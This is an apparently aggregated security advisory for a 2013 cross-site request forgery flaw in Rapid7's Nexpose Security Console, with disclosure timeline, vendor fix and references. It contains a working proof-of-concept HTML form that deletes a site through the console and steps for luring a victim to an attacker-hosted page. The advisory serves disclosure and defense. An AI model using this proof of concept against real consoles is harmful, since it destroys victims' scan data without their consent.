Nexpose Security Console - Cross-Site Request Forgery

🗓️ 06 Jan 2013 00:00:00Reported by Robert GilbertType

Nexpose Security Console - Cross-Site Request Forgery vulnerability in v5.5.3 and below, allows remote attackers to perform actions on legitimate user’s behal

Reporter	Title	Published	Views	Family All 11
0day.today	Nexpose Security Console CSRF Vulnerability	6 Jan 201300:00	–	zdt
Circl	CVE-2012-6493	6 Jan 201300:00	–	circl
CVE	CVE-2012-6493	4 Feb 201417:00	–	cve
Cvelist	CVE-2012-6493	4 Feb 201417:00	–	cvelist
EUVD	EUVD-2012-6346	7 Oct 202500:30	–	euvd
exploitpack	Nexpose Security Console - Cross-Site Request Forgery	6 Jan 201300:00	–	exploitpack
NVD	CVE-2012-6493	4 Feb 201422:55	–	nvd
Packet Storm	Nexpose Security Console Cross Site Request Forgery	5 Jan 201300:00	–	packetstorm
Prion	Cross site request forgery (csrf)	4 Feb 201422:55	–	prion
securityvulns	CVE-2012-6493 - Nexpose Security Console - Cross-Site Request Forgery (CSRF)	5 Jan 201300:00	–	securityvulns

Product: Nexpose Security Console
Vendor: Rapid7
Version: < 5.5.3
Tested Version: 5.5.1
Vendor Notified Date: December 19, 2012
Release Date: January 2, 2013
Risk: High
Authentication: None required
Remote: Yes

Description:
Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Nexpose 
Security Console 5.5.3 and below allow remote attackers to submit 
actions on a legitimate user’s behalf.
By not properly checking each URL, an attacker can execute requests on 
behalf of a legitimate user.
If an authenticated user is tricked into visiting a specially crafted 
page, it may be possible to perform user-initiated actions on the web 
application using the victim’s established session.
Successful exploitation of this vulnerability resulted in deleting scan 
data and sites during the proof-of-concept.

Exploit steps for proof-of-concept:
1.      Create an external site/page: 
http://attackersite.com/nexpose-csrf.htm that contains:
[code]
<html>
   <!-- Nexpose CSRF PoC -->
   <body>
     <form 
action="https://nexpose-security-console-site:3780/data/site/delete?siteid=1" 
method="POST"  enctype="multipart/form-data">
       <input type="submit" value="delete site" />
     </form>
     <script>
       //document.forms[0].submit(); //uncomment to auto-submit
     </script>
   </body>
</html>
[/code]
2.      Lure victim to http://attackersite.com/nexpose-csrf.htm.
3.      Site with ID 1 is deleted when form is submitted.

Vendor Notified: Yes
Vendor Response: Quickly escalated and resolved.
Vendor Update: Remediated in 5.5.4.

Reference:
CVE-2012-6493
https://community.rapid7.com/docs/DOC-2065#release5
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

Credit:
Robert Gilbert
HALOCK Security Labs

06 Jan 2013 00:00Current

6.6Medium risk

Vulners AI Score6.6

CVSS 26.8

EPSS0.00385